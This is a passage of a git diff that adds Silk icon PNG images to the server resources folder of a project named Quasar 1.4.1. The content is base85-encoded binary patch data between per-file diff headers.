zuf3nOp!dx1Xh2~}Km-N{VBijjP;(KVlrkz=N)|U?W_8a>G^KriTL_Vg2m}vFAPGN$ z5t8D9vbyyqbLOpJ>g;8_dwQ<_(B;1VccLVp2q96Z4-ExAfcFq1wYuV?F~vTzta^ji z8Exc|OLQ#V#TMGxwxEx#i+1Acooe5?WVgJXjX+nDxt5LX5YEghr;YuCa04Iski*|+HKTue*r zS4_S^rHOkNh5$wV5HlCfrTxtVrpHL-aPJY*Bv=qEWh`aZ_1$OV?&CBSuQB-!j81Gp z)1)pwKYhrVlP9Q*73bT>mVdRZEvAO4j%xceQN_&e{Q^Z5f`6;uX>b4l002ovPDHLk FV1mc4Ec5^X literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_link.png new file mode 100755 index 0000000000000000000000000000000000000000..bf18aed48b8ea9db86bb7621d1c9c63cdd121c41 GIT binary patch literal 712 zcmV;(0yq7MP)2BUt+C1Pcjhr)VWuX(u*z zK_L=?WW}hUEchaBuF0-qHhUlEo^$3{tc8V2z$u5}oB#ir@tkw~Px*gpUbirwvXUqKy|(sUy)2ZG=@>OFgmwP;g)bMDVP|vzFyqK^aG^ zEZRa_)=~eP1*Z+3G4P@UM#Hx4G~$#*3sKs%khFT3SpNl}(k4J9pbcoll5!|5#7fZC z(Vi0|6wXbYbUHPpsYWLnr8K@Iii|OkDA1ZDiYSCLc;&C`Dy*gaX^}{VX-!jlW;Rh= zUu3bih~Jar>C$6-iGOWY3au0mUccecmVS;MJ3$zR3=Di>V)7XW`(X6&C|N&C5CoJ; zCCoeUB}yPoA&!}u{M^zCfUtm#;TFHsCy!|pxw zyn4-a5CE|J@-7)q7#|-epU*cBEDXuup`S<42XmD#cvnWQInf5E40ZK`N}RLq zBa83f%q*uO+hkn-px3iWUBhj*zEtZ=#J?K1BwoS4fri4we+W?%x_!2UEjG9A57v+ddMu0 zbbp6n;=LcDNq6gD2L9C2J@8#y?*rTbgTj6Ps|^D5|MCj{`@<*H#t`wKg(3XGf2QyU zf0@G{{9_BdAC4aSKNVGeAq>dh`~N>9tN(u{wmT>x9B`-HYmvir?8JeOFVbz5u> zH|V#x^ai*A`gyzm|72hZ`OUy04pZPY)6&ahrsWHdS>_MiW?QUvoolwwWxnYbrv=9G zAbFr`rQinWXqscE(MN|a!$l4~hCDEFhknBjyGi=*G17r<_V)jl zB|4H8rP?#iOLZRs>9-bTIvMExwy4+UuxQe`XV#)U8P$NSZU2ojH2n=T)ZNqrEM0*# zI5i4uc*w#O3aL7Q*+%*5QW{Y@8K%V=Ja7ZFGq?QL&e;54D`OK7Z~U*7wgHIO|JMZJ s)OG(gKsaSB6tDTOk-Qp=;RaBG0e_Hjj63iYg#Z8m07*qoM6N<$g46R|L;wH) literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_add.png new file mode 100755 index 0000000000000000000000000000000000000000..f9e2050460f240983415928fdebdbb94111818f5 GIT binary patch literal 761 zcmVRLq zBa83f%q*uO+hkn-px3iWUBhj*zEtZ=#J?K1BwoS4fri4we+W?%x_!2UEjG9A57v+ddMu0 zbbp6n;=LcDNq6gD2L9C2J@8#y?*rTbgTj6Ps|^D5|MCj{`@<*H#t`wKg(3XGf2QyU zf0@G{{9_BdAC4aSKNVGeAq>dh`~N>9tN(u{wmT>x9B`-HYmvir?8;%0k4&7Bhd zEv?W0e`Jfprz!qw*Wd=|=k5OglYu4VHv@|}OtaTaOD~U^mM=VJnLmh{;(o1hb>jam zSEl~I@NC!r{@q#s!~1prn`cY*fEDZI?)*PTRKo$L*|EcDnq#NYM~5!MMGifNJhAOA z-#1>K@PFgANuaR$-?Jz6fB&9zkOAMp8g#R_|FB!KO=7K?Xn+=w@yEZBQ3BsxC{u^W@{txca_}{xL1#B~j r2JzuxKnw;d?f~LXAZJ7A4v;ti!dZAcanXRV00000NkvXXu0mjf_r!r> literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..b411391c40582c6f465b9bb73e454efd7c0566f7 GIT binary patch literal 782 zcmV+p1M&QcP)RLq zBa83f%q*uO+hkn-px3iWUBhj*zEtZ=#J?K1BwoS4fri4we+W?%x_!2UEjG9A57v+ddMu0 zbbp6n;=LcDNq6gD2L9C2J@8#y?*rTbgTj6Ps|^D5|MCj{`@<*H#t`wKg(3XGf2QyU zf0@G{{9_BdAC4aSKNVGeAq>dh`~N>9tN(u{wmT>x9B`-HYmvir?8x@xqa?hX`q zy~l~=-%eNNN7oE_ufh$`&)fa~Cj(2!Zw3}|m}ak;mR=q+Enj%dGJnups(JZ*iN)XV zTYLZiySC&1*A+$oPiO1?+2zcV3s$U`yYv4XQ4I%}X2%YrX^x#nA04_37diA8^6YeB zzWWWR`Tr!}|NqMc|Nn1O{QtVk;XhFP9$15J_V)jlB|4H8rP?#iOLZRs>9-bTIvFqn zLC*encHMtu@V;K+KS&&6K-RYZMj4v^h8gN^>H(InKpLDHg*7~6K{U|MkH5@K{{J7S z=|>sE|93$AFoXF&Q2Ytl0PV~z|FttV|JTac1jHNvYo%=f;`RSEK{$2Y|FXE0|Ho3) z|352N{Qs(w_5a-z#{av0+5YcvWv(JR*BuF$tpM719~ujfL7GA005Pq04UpJhGXMYp M07*qoM6N<$g8Vm(7ytkO literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..bd07673b55bef41b65858e7646f8117bb8e4ab71 GIT binary patch literal 822 zcmV-61Ihe}P)^(c>Y@u(F7)kFf>aU6kDVZZvH#RKW*PIV|R95O53!9 z$YjiEgA@hRg&A6E`h_sRzdDN0Tviqh`o z@ZI!-oUu<)OJPrt!|vdB$DogEN%o~PjHKPFtq2YWy~E?3H1p+fWU@wOXGI9af_jic zzW6 zZY)?sjpnY+HV&h0T@la&%RpzBLW^C31b-a}TXG?6%|dIE1)lpI04wkwXnwDjCRV4)Bpeg07*qoM6N<$f*6Q* AYXATM literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_error.png new file mode 100755 index 0000000000000000000000000000000000000000..906dd038368a493b9095ef94543ad9bb04e70232 GIT binary patch literal 837 zcmV-L1G@Z)P)RLq zBa83f%q*uO+hkn-px3nzYqrG@BROuk=6e{6WbkRr#t3u z?!CA!;Kz^GTmJue*7yJ2-L3yGFZ0}VX|X%&Z*l1ja0B%7cK`p$z!LJCfkhmq*>9GW z_tGV9-{0I^^Z&==rvHaJjQ{_7yXOD-dCvdN&2|h1x>gEqfL`v-|8qn&9N;#07){HW zWcl^}-s=B9UoHCo?M~wVL+ytDzdtPh|KZ-Y|EH!{T{}6^f){RpZua*7mL)op7Ny!V z%}aG3*_7$LJvhtp;d@}feSc8$|Ld&?2)-Q)^vZ<)4-ZcIf3(Y}4q-snw*N*Mn*N3v z>Tc=*mafO9+Z8-K)c61Ai|Jt7zut}pdcg=xf4i6U|J(D8{|`3nzB<^btpzqfJ9Eo_ z?TpR;wK6sV@y7oNGeW6fbe z=e;@7Zt(4JtNyn`&AQ)!Hhnu#ula3%t;RQ?rf+*IRln^mSN^uAOzAKH(R5;6} zkZVkmVHC$-#Z21FbTg-xit~aX%Eb$q*EvaZ1(tWr(}1B5w9p4)Z6!^N#9p zW|mWq&Ee>A7I3`(7L>gOKgj|ium;uAYtfOl=(vU-vGLeyJU7xbxXMlPUP(+|SvYt;shRIQJ!S8JnXYRoKP zmQH|a@GFIb%`+0TmSL}Aw9ltRrS~sYDKyMb-*r|P+|7{5w*)2QMuC2>n^Nn#Pakz; zOtVXfw%cdV6ZT}QM;(Q#pZRwpbh!!!WOdVsS_*AkLk(Is3+QKGLlvDLY_NC4Hg-GJ zBWdUbM1X>|05uQ@?8otQ?HPK}FBurZYL#6poWIJMoo`;VWas&^THM z7e_=O84`l@X&!V<)WNCSk>Fc{Y#0Ny!e_uK3v^|dQ?G}Y(-!dhE#pQ2+@EO$<@;vn znQnqxQ!-pq0P+bbh?I#ysz$!JS0eP^f`SoXiUW8Iu|LlKf4b|L0Jpym$)RXhX~@e`cKKoJe%3_!ppxsQO1LzUV= zR!=;5RXTy6s13+D{a_aS5BSP!9#sTzu0%+d{a@aHZ>`b{@k;;z002ovPDHLkV1gHd BcP;<` literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_link.png new file mode 100755 index 0000000000000000000000000000000000000000..144eafe08695598a02e1cbc54f470888fc5786b0 GIT binary patch literal 829 zcmV-D1H$}?P)Ma{BCQzS3CU@k3h0*+qU+C)VqBzQXSX@1qZ^5S>)?En1F?|pX;2>?jjfp}!K zj6sFfUA`>==f+sA*y4V=dFhj1Fyml8+4%{a%Krof<|SoroDj|oPV&EkCMQq~Gvu^3EJ$m|2AA1f(^6i3#GlX0T`T%|#mNgrf`vJL z>5AY!X4oQNYDXct&~WHr%d}Z}>E-G&BPXzu&3dr;BxW0S?^L@t%rbgIxt-o1yUQC{ z7cjIASS$WWWksgx1;NcPA8x>&r8Ig%$F!bD0mjLrE6i+oQqg7I5Ht=Gg3$g0eZj<} z(3z5Vfjw22CANB+ytmr>HonU9Gojkux+V;!rVj_G8T0D`n&tysqm^ccW8)*g;`Vit z9&-zx~ca)*si-N*Q)FlL&_3t4_+F3px6PF|u3e7z|Juo{v3vRa?Mn*>9 z`pv6Ln)Z6%m#Il2b2^=XI;cwsGOi3kZ^H3BI-Opk)oSNm6B8g+l!OEVK}4ZYfW=|~ zyUn$i-pifQ8pqalI>ryDctIUJ7PZnuNWhC2Lp&Z2BoYY$no%Y!6MaPj zrBdl51k}r~fm-(pQY(9*NOBQOce>$m-*Xrk7yzr)3L1?DbUGa|qYUj#=57#)L{nRS z4TVA>WinYMPCh;_q73a&2X%h~c-L>T2pyh000000NkvXX Hu0mjf(aLT? literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line.png new file mode 100755 index 0000000000000000000000000000000000000000..85020f3205adc903896aae3ac8b2431d81d25a92 GIT binary patch literal 526 zcmV+p0`dKcP)vZ>%h3)%~ z#+IbJ;FFDG??-c+T_21rm1LV#4~LF)_b?ghyQZ9u#u#o3H=L6>&|AoXU?qv@1Je4>AlGSTjH9nQnv` zZj`d7z#wVmBfa>gsDTLdFI#`g-3Fu!5 z$Es7u?8}cWwJkZs2@EU)U|{|IH*L!Qck23oaHd4px(fwB|2_x$_YKg$rO1-+wT;%l zQ`7tXR!Mt3P6M2(&pepC=Hh>#e_xW77aS^%7ub~^eqd9yzkqI;iK+$w0LJvVLF}yV Q@Bjb+07*qoM6N<$f}^baNdN!< literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_add.png new file mode 100755 index 0000000000000000000000000000000000000000..5571a5ebc987ff07de879946160880c5482a09db GIT binary patch literal 655 zcmV;A0&x9_P)vZ>%h3)%~ z#+IbJ;FFDG??-c+T_21rm1LV#4~LF)_b?ghyQZ9u#u#o3H=L6>&|AoXU?qv@1Je4>AlGSTjH9nQnv` zZj`d7z#wVmBfa>gsDTLdFI#`gwkE^?tk-a$sPvRx(fwB|2_x$_YKg$rN}ONuWhvcotob7gjSb78!u1z zzwz3n{~*w_C-r~-o^+4_-x-{$&pepC=Hh>#e_!H?PM>PS|J$z2`Hu`XU789q;6H;y z#qk2W(!&pIiuM=aGQcuN`g`}Tr2p-^62O| literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..5b0aa901297c4b1a1c2654fdad228e19d53cfc6d GIT binary patch literal 675 zcmV;U0$lxxP)vZ>%h3)%~ z#+IbJ;FFDG??-c+T_21rm1LV#4~LF)_b?ghyQZ9u#u#o3H=L6>&|AoXU?qv@1Je4>AlGSTjH9nQnv` zZj`d7z#wVmBfa>gsDTLdFI#`gTJ`Gy0&d=K|H zvHaWV%KQk3D^LOv=wAuPs#C}8%a1L!Ejh#q3@ig+VEz3!ZOZ>!cItmG7F+!MzP0!N zziT`Ge_c`Z|8%zQpIy!@xeTs#7Ycy>eGc^R8=!wnkzMp&+i3keHND^a9NE8o18V+1 z$@l;Na>4)q+Z6x5?sE9Q(}npSgH!dH2b0%a{15c+OI*;5By_w^G0LE;P! z6~_zgN)JD3p3giF1zAS%sxH4A}orI5s%T@qwybq0q#~{rhaR7ospkimCL{b0%002ov JPDHLkV1g1wP}u+g literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..9cf660733d4271a2be337617957da5db7eb23b9a GIT binary patch literal 718 zcmV;<0x|uGP)vZ>%h3)%~ z#+IbJ;FFDG??-c+T_21rmp^v$%%xy#>Os{Qx#@uvUJ z4|MQ$Waqj#4p|Ns4d{QuWG@&CU+ivIuUTGjviGaX)>?R7Cg2}GcOB^;|x9kVY#w$!%d z5a;oHrLyOz%b}X%{(pZM_5b6Q>i>79I(@p?V`c(RiLP}Q3V{B74)pIEpnpq2g4>!U zgRku<{`vRYq5t3SC;$KPDE9vcpi6E~b^dmv$3g)mDLYl4c`$j+#s5J6z61%($&^jL zx~=N}#qAURKRFrt|Lgte|8Fl;{J%BD@#T$P3nh%a;81bAz^?T01Dm4#;J9AZ>HPoy zrw9LU%nJFxuS)9w(HWlq4>p-Rz0_f@LsVvJPSyVX^Z1niKTl5lf3nr_|Ed(3&pRvi z^oh=mp|*nG+v7EU@9psXy{Fgd;O25&C48wB06Lk&#h$7;IsgCw07*qoM6N<$g4-sJ AV*mgE literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_error.png new file mode 100755 index 0000000000000000000000000000000000000000..ff23c03a8a9ae7f2a852d5e98010f973f2159545 GIT binary patch literal 741 zcmVNon?^(g@=7(m0P4# zS@uF^lyA;-;f-`HKIhC0gH7U$R&h>oiG-F)j@?nX5Qkh@mGuYg&BrEfcmMRa+}OvH zW=p}!(PG2+bwl=g#z<4SE#Al|b*bb7bv+8nufO2(hu%bOV7nl>{MqIxzvRgtjHSX2){ z{16D5;Zy(lUctE2QuBZ)7Lb#wzzo$RCVpmh(>k7Jg0Nol*^$j_83$-p<9~)JTQ#dAXuGdH1!!Y8b2gkDmG9# z?4Bp!jI`hE|2~51tqZo89Ij7HE3wALeFZ_M@UbQE-tsFk0v__is&pgvkcPgNO&b@D zGTIxnRClFH>W@e;t)xHVuNtHkW|(;O0{p!#-HRp>?P+|MoI$|_+UF5R{H~x>AyR$< X=nrZU-jyx=00000NkvXXu0mjf=^vZ>%h3)%~ z#+IbJ;FFDG??-c+T_21rm1LV#4~LF)_b?ghyQZ9u#u#o3H=L6>&|AoXU?qv@1Je4>AlGSTjH9nQnv` zZj`d7z#wVmBfa>gsDTLdFI!hq-@bX#X+L@z8vo6kH}8K}amoKn){fuj1c#~B)YRMs ziM6)2zRSwWDz&q-<3{$cgk#0gf)Z9d-K|58&^ z|4*7U>3?Nq<$n;{+uQpONDgEONG*d?^_d5g*IfJ$^zTa}BcraSrl#*81N{B{x$N!j zKkwbU_y4(b=l&l$bm;%uwQK)_#6WT&13+pS94d|%*p(iBU{kceKv!2cGd(^1J;;Ed zprDL1_pvLhz$}0$$<<2sYMAyO(5{~^}XKP+xvdis#R~-ty}kh`t<4l z3kwVXS5#Dh*&s2H97qjFEs6nZYHG|tCmMKpdEHM*N%@kUo&6n%e};#L#{sc3ko^fH f29g7*0jUK58Cr#m=VkrTh{k`5 zx$uj+@QlcVj*gC%!1R{Pj+vR6qN1X#tgNiprLNehui2@wv9Yn*thBVWwzjsoxVX5( z>bbeOyu7@=zP`ZA?ZVCO$<*-vVtTIt0004WQchCE?_1WY9)7em?TZ`uB4TSyPJy`0cpEbh};->(z2L z>^4fgoiJtjpwp^VKu<+O;C9-r)c4yWsEer|9O)aJX;cu zB3m5trbOtM%9`a!noTwUid*JN+s-m`sypJk(AKBg&~JrnK+oBLRqlbk=Yo4Q!uxf@ zH~2)%^oZE#8@(wYro$yRHa2ccaQw{c@moU@=G;i!7Mi>xJOv1LM5OikXY7v7*d3F# zH!f#id@c|yd6>IDpfU8ifT8!tl#viadl!-Q&aoSg!Wwt9mndscYf&J zmDIiKL(iVno)gWzyHfi4`ucZg_3ufadf>~nGkr5>&Rn!;(HbDQzI5G<73*)V+z14h zCv3bnY2&Rmn=Vb=0t8p4ZUcfVb9Mm1;a59%?%cCy&%S;84xD~_=LwhI_0 z-^&Fz07HtiB*-tAp{Ay#qvzA7PltuJ^#KJZdAc};NJ!Qm43$2Zz`%Av-1v;iWuNl$ z-k0yb{r!LcVWIKvhcbT*-h_ObkZmikcw*}NboM8k9A|U>mz_4@&bsM$ON`!K@0zJ$ z=QrVp;_@rUOt}_J@K$BGms}qHeSKqa`c x!v=8!>91{N%~xF6ghbVISp9nSyV5eb^34|rdljAOZUefG!PC{xWt~$(69B&O^g;jt literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_organisation_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_organisation_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..6b6ef894b0aaf3e2924cabc76729addd07db371d GIT binary patch literal 541 zcmV+&0^Eh zMNo{*P^w2!jm}rFOjxl^Te47HU0q(ZQ(u|aU$s3_27f`BlBf`W*~e~Y>Bi@NZP z$b*iKj+MalmduWsnVF)ZqNYp-sY?c_PztI|2du2Dtk1Bsj;!KvD&P(w6wOi zwz#;sxWnqXxw*SS1iZYwzP`S|%k9F=?#XK{$<*-OWC7u51Lk)j>Ujn0ia_pm0PlYo z^qph%sB-qTjrX;U_;vvP&945|xc_$%|9=?&h9UowP5=M@^WFOTMg0Fp^WK~xwSeZkWj!Twnq)ae*?rD=Lk!DTla0hK~tKRhnGRTT`rbiG;1 f2z+q`q?o`P3S|_OO?IhJ00000NkvXXu0mjfof`&Z literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie.png new file mode 100755 index 0000000000000000000000000000000000000000..fe00fa050a833fade14de445c554b21ff2266632 GIT binary patch literal 918 zcmV;H18Mw;P) z)5~v^RUF3g=bd?{7w4U(okA~6ODQu&AyTU)qaihDP=g^ZV5Kfhx?#trq@YHED?=nm z8X{F=Fli(%K&l}`AXu0%WX=(eO^E>Cfm*WCSBpMff|A0@P&0}b- z@vu|b_butF9--78p(rVogpgvCg!(S1p8cR&zh3^)8!?W*Wjq8aNzH zSpmoJP*=GgH>dKrnER?fW_*%Wj@zr0*Zui{_|PN3iC>TI+Zak*tPO9#w7Q3JJCC3a zV5jvo&RzX%snXq-j2JJCCKFaPcWV{5XYKvx54R5jK;Xmiqfw#6K%KP_V|Ed#`y;sT ztRPX@g88|-V2s`i>)nU8)Kx_5YbwyzXn{x#yz=&N6aWHTQcq{~E~`XS$nyzsS73cG z3QL6WP3FRQEO`2wAm>1$IgG-LK(wkHZA}qNaO(LBV0(k1a%AlSlq*pcu+U!h1V)QL zgVw}BN1A;dn&m(!J1{?U7yV-=mn2ht$Ch6^GqI93 ze+WNbT38m_O&H+JhxUC)WkQh%K3KqM@|PRK9ha^TE=rQe56?E8-@O!mOY_{s^E~~+ zrER?s(gWuj#5~m2gfP8eLrE$<02qDwZRYF#Q&Vl1x2yzvG^f0?x!E#`zrkO#K}6uf z191&uyJ(I-hT*FvIFc>{fH_#|IIB4w*PKo}@s=_t-U8qAV2))0#vr+bkRFJD&g~Ht zCg+jKWo*w;eE?u;o0&f2Z>pWiGPkB0;zk~!#wPeSgJuLNI7oO%#KI^Pr%}w^geyh& z?9h=#00@LWKC|erv2Np98pst8YG{N{93Bxo5>O($wzBNzVh zg|)61U)Dl=s^Xhk-THM1{5S%=@JIV|JKj0xDM_xYzV}>pVm|e*{jX;NfaR@ES)NqA sTB$w0a+2D0+Z&ca0*O=8=#zfKm;e9(07*qoM6N<$f`+80v;Y7A literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_add.png new file mode 100755 index 0000000000000000000000000000000000000000..bf0822ee1c2330582ac8d5d23bb055b7b26b1843 GIT binary patch literal 975 zcmV;=12FuFP)N-T$EI`5GE^Ew&>_I1R3ak8;ov#X^Zh>GbDrnv!rb(x_aE@u=jNli zuFL(7OunsKIn^bV+9j1}lFC9_azse=y;tpcx7d9t|HGG~CJ&_D2YM$Cw^>>B*^|Ys zRbF2KSKhr$%<^OE zGO6quHHDSjS-gp1h_?c6`~Jn=XHn$QsVmyT z$n4LEwA`1qd`BBL1-&ZkFu$UhU9c^6z3czOwQIRd?+Ek_ZFC9?w3D?8_xbdv}_5h=fLfX!S-a}Ro9Hq zJZ+9Xb9QSt(y}p47h%|xtn+hgDTA^^;vQg#&%c^D)qi9@_U-01ZioQ#2O2rOxm zOnptmmU?WDO?~-u*jkq6Z7l$Ac>EvtEjwwWL%TW(@oD_wavWh|3xO>pN=TCFMf{r1 z3$^e4!Z0uMmpslk)(%#EGiZ_dwg;Sx?_4%?L2(!x@Le^M(>d|{ZL^Bn;6 zoa^BF(gc9i9(?0!ZM|+=s@qj+m!q;xZZ20BPA*I~cShc+sCwkhmbzAA;q6>o{FUK} xOU%!$^*#jrU(KD79^iE#2&93&D<3T!{1?J?)wFqC(+U6p002ovPDHLkV1jg+)R_PP literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..5ab9efd55489c87196fdb984644e6e06655d64b6 GIT binary patch literal 983 zcmV;|11S87P)v*Gz>VKO;FIU(QKXc3 z+_B_gom--t39*w2+QtM2<7}8R@slbx9jTO^-p_YO2%boJ3>+Olw3(aYn~jz2F;(-y zRBTlFS7Iuc!i98xX4%`R&(a)HWD>+;SgD4f zGdF%1KQ|gtPuybE+#9bAAf0CjRd~_3Ca5z)yZ-}>U8>uQWH}9Caa6c;G*_(0aOOH_ ziFKJ=JKnN3s0!0T?x8?tmZK&d0HbUd0BD4=4P3F{f`S(PIn;Y2_-8tcL^g3c7VKY5 zDQ}I0{kWMSAchTN$wpJe4bEr`05pRVTJ2lmX%D`Hx%@r!jT|j-LmWR;eB|5<1gF_YfI-jxIDWqGSg!H%x<$2H5}GpC*6K>;Hk?u!lu{68 zBR+K&+o#T8*}@$x_`(R8(IW6Jw83o4X-R0WB=m&Y5cQZ1Q8=~@Z6pa81~}n}q`t*Q z`)4%0vk%_bv!LTch+e(&>XmKoE|)ADno}yj#W%HjL}LteG7ZO|aLNX3gMu@H@YpG= z-_il!?O&jr*^On>gQ$;&RjJ7LUG6VV&O0Szk8&#kOr+tiSp|m@*p$Mi41zKQOEd7* z#DK1gKyLx~a2lGChUzHw8UXmu51cEtZ`q-arM|Ko>SIpz3V<+3#=!+eQ4I((df5}W z_#QZ&1p!c6QemseD^I?$*z|&KbI~J(*y#wfOqFL&e*vC^-G=ZLX@vj)002ovPDHLk FV1gBE&J+Lu literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..3debc12d5ee0b8454165cf2ef52c976c414a16a4 GIT binary patch literal 986 zcmV<0110>4P)jsHp9U>bEUr=&5Gt!&3TRri2n1-U zTm;cl1%x@3A|OLSg|^f}FF-+{1yod0sQpVz1#)bOntA(hlJ~=VemUpK^H2a#-YZ+5 z>UBn&kdmt8w((kz%*HfD%pO)S+QMpr`3J9NE{MJIWa0n+d-UOvsY~$@YEBN_9;ij5 zr3s4R26VjC;)=E$gp4MQDIeuJ;f|#dW&KxiT+0XdQ7UTs z{>9!)JFSe8;vXYR&DPS^ad0mWf)MF~J^)0W$%{{`Pms;S%@7$SV5y@Ku8PL_o>E9# z#MmL-#$jI=l4jSAL17?KaOVYRX&vNt-owT70C!)3qW>0(Oqan_Mg z#Xg;^LgUY2;=b9NIy~ovh$~egSD-cx? z32ORpTMp!z?q@5Wp;}{ur1Ba}@(?_}Aw*Y+KXm!tVU(lw;jSB&I>cy_Akycdvabf` z>P6Tj__c(Q+e>%%byO-RQCwYyv1T4@`dWZ|ib;Jn+A{;5Q^K#)ZOZ3rTA; z?@OPI4RMNCV&ycGndA(nTc>DyR`W7)%vK{GbB+ga3?75kJ*Qq-1eDT)GwQscpD4SE z{J4I(RJI|W^}UPzSJrfBC`qOy<8{bBjAnXsCJYIfbGBn@fC=Xa1NNRo=<{hH7zxGm zL!9~h#G*IHjuyIDEZ1wH0FxCmSmk9HWNyJ&2k)IZ49?;Gcx6mNw#aC-<>w{Ej2yhi??9k?7RKdx(!2B zqCWt;1*Reb&56tLupkh%{LQXE>D=?*P=#J!JtmJPR;}?89P*xXwM*bqN7bJfg$X9H)NvVL#5#asQu*UTQh1&55X+otlN8~^|S07*qo IM6N<$f|4H26951J literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_error.png new file mode 100755 index 0000000000000000000000000000000000000000..7344174fe9ace47ea4f47bd3202ff9cdddb2d8ae GIT binary patch literal 989 zcmV<310wv1P)ZI*IfwoU}x-gg-1~(b99V%+GpGGY8 z8^{uU$6!iFWSvjuhK=!Aj?@%GQLY!1(0xw?gl=S#2?r!Z)J&dX}_ZNc=!eVprSpJN*DI5EHfY;rNK z{JLiC-2$!qnbPnM)X)Ben+q?2aRr=E82}VrC--{q^h9p_-8I7qJ9%WX^h(p5_bs6( zk~{VIZs-2(c_n3AkX>Al8rKI%`|9xEVIepp=_eC3@@@CPwL|S=;rg5Dnqbq6d&np+ z``D7@z(SoB-j;hi&zI+i_4qrK*T0FK>JJ!6jlp2#djL?n(vb^7CntqY&KTkHEF)YF z+p?hC9>h`=-VW8iDuebRcBvcN4!(~((hKjRNlhca0{|Q%qbc@M<_)$rn#HRsK$63- zH3HqQ!xf6W?90(%vwMKBVP$$zvAYe2YGSk3n>#50IGmrKow1j+1JbQHkQj!us2CQ> zU~ZEMe<%W5AAqn4qAeR>^9i`!DXiPv5;PfqcU22ZjeDLGlzz#>YbzG3B{-X&MbUZ> ztV|3-aKx|OLA0eBlDr1+ynsK?AA2ZldyllT#`)?x)nfecXlwS-jR!Ah$&L{Sa~^qdNE1k7nZ!vgDnzZR{ZF7F-cgf}WVh* zAu>`9<<2tvIX{h?Q`hp+kSow_~4Io9a|l>H+{N+gjmJ6ISs{@ zvEQ`^U;g^Znlszc;+CEpZK-v6r~cW*zYFHkfwQ{@0YH9#{G68w)?e=0io0e6zpUTE zdS(N)&Ja?IaS%e^*6l-YY%eeLR+JQ?&hG-HqW|z)x4i%$Tby<`dsz1}^#;-R)iDL|i(5|Ai}a z8)NDZdVO^1K5JAV!6JFs`8>E#At+NGEU@U`zs=lk8oD>Q%qf5G>_Twh(3*b2wx;Hu zw#J?rYB&SNbFeHMl;q$maUii|LU0;=01*1cHxoDdF3#6|yM06Hro@{0(J0er-9_*Q zgA;qBKV>$S9bjoUYUmJl_{$MbE@PKxeYLfA{-8*y}cc6ZEY}3liFe<3;@N&#hMBL&Km>Q)8S_idrA7* zREgII0GB;($eb1Q^z=a2bpQY%1hOotilPhxKq8S~(xY$eXxP=PS5XqtvlD1?fN3S_g{wRk)(4-XG7J_gj+*DHR%zfsrqLBlZ0G)+?g$SW%= rF9S%FmX;0zaB$9Z$z*bw5Yq7Zkp%;s8}r$h6cUMpt8KZ&`memftw9r2BH zXZp!+CFaEnJk?xA$eKJbHrNPn>;Axd{TeCT;zL2Z2lqOE#$fse--k~9GCAnb$WrIY zUzF=05;%7ScRp;-^ba=g4+!_yjOVxZHrAy=-Qy;3W{V_ws3i3@rj zN6Uq**d4Ifp5hMksmBf!JrmJQC(GkeNV1GOW##ZtQFwF|H80+P{}RL%{YNk_%ft(I z#;Cz`v~ti@ZP83cwQ@*mu2Dwn=d>z@4RV(M%#h6&LDo!N4vuc zo|;?G=MQ0U0&vMd?WX`v6t{tSSteePbgELlMO}xKy8^QHBD{2ALkbX%5TpZC;3a)d zD?(MwgLzpdUa8!vFvP literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_add.png 